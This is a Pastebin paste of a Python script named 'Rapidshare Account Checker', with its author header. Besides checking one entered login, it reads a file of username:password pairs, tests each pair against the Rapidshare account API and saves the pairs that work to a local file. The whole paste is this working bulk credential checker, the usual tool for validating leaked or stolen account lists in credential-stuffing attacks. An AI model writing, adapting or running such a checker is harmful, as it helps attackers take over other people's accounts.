Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/python3
- import os, sys,urllib.request
- def main():
- if len(sys.argv) == 1:
- Clear_CLI()
- About()
- Prompted_Exec()
- else:
- Clear_CLI()
- About()
- List_Exec(sys.argv[1])
- def About():#Information about the script and Author.
- print('#----------------------------------------------------------------------#')
- print('# Script Name : Rapidshare Account Checker v0.2 #')
- print('# Author : Kreshnik Hasanaj #')
- print('# Special Thx : Kim Bruning #')
- print('# Mail : kresha7@hotmail.com #')
- print('# WebPage : http://selftaughtgeek.wordpress.com #')
- print('# Purpose : rsc.py rchecklist.txt | or simply exec script #')
- print('# Usage : At your own risk #')
- print('# List Format : username:password and new line #')
- print('# Requirements: Python 3.1 #')
- print('#----------------------------------------------------------------------#\n')
- def Clear_CLI():#Checking what platform we're running on to perform CLI cleaning.
- if sys.platform == ('win32' or 'win64'): os.system('cls')
- elif sys.platform == ('linux' or 'linux2'): os.system('clear')
- def Prompted_Exec():#Prompt User for Input to get Account Informations.
- Username = input("Please enter your Username:")
- Password = input("Please enter your Password:")
- print('--------------------------------------')
- try:
- if len(Username) != 0 and len(Password) != 0:
- ResOut = HTTP_Response(Username,Password)
- if len(ResOut) < 44:
- print('Login failed.')
- else:
- List = ResOut
- for Items in List.split():
- print(str(Items,'utf-8'))
- print('--------------------------------------')
- Save_AccInfo(ResOut)
- else:
- print ("You forgot to enter your Username or Password")
- sys.exit(0)
- except:
- print('Error Accured!')
- def List_Exec(FileName):#Check's a list with account's if there broken or still working.
- try:
- CurrDir = os.getcwd() + '\\'
- FileHwnd = open(CurrDir + FileName)
- for line in FileHwnd.readlines():
- sBuffer = line
- AccountInfo = sBuffer.split(':')
- RsUsername = AccountInfo[0]
- RsPassword = AccountInfo[1]
- ResOut = HTTP_Response(RsUsername,RsPassword)
- if len(ResOut) < 44:
- print('Username:{} Password:{} is not working. :('.format(RsUsername,RsPassword))
- print('------------------------------------------------------------------------')
- else:
- print('Username:{} Password:{} is working!'.format(RsUsername,RsPassword))
- print('------------------------------------------------------------------------')
- #Open File and write/append all working account's in it.
- File = open(CurrDir + 'Working Accounts.txt','a')
- File.writelines(RsUsername + ':' + RsPassword + '\n')
- File.close()
- print("\nAll working account's have been saved in the file (Working Account's.txt)")
- print("*************************************************************************")
- print("For suggestion's found bugs and idea's mail me kresha7@hotmail.com")
- except:
- print('Error Accured!')
- def HTTP_Response(RsUsername,RsPassword):#Handles HTTP Response
- try:
- Response = urllib.request.urlopen("http://api.rapidshare.com/cgi-bin/rsapi.cgi?sub=getaccountdetails_v1&type=prem&login="+RsUsername+"&password="+RsPassword)
- Res = Response.read()
- Response.close()
- return Res
- except:
- print('Error.')
- def Save_AccInfo(Output):#Save Account Information into a local file.
- Save = input('Do you want to save the Account Info? [y/n]:')
- try:
- if Save == ('y'):
- CurrDir = os.getcwd() + '\\'
- List = Output
- FHandle = open(CurrDir + 'RsAccountInfo.txt','a')
- for Items in List.split():
- FHandle.write(str(Items,'utf-8'))
- FHandle.write('\n')
- FHandle.close()
- print('Information Saved')
- else:
- os.system('exit')
- except Exception as E:
- print (repr(E))
- print('Error Saving the Info.')
- if __name__ == '__main__':main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement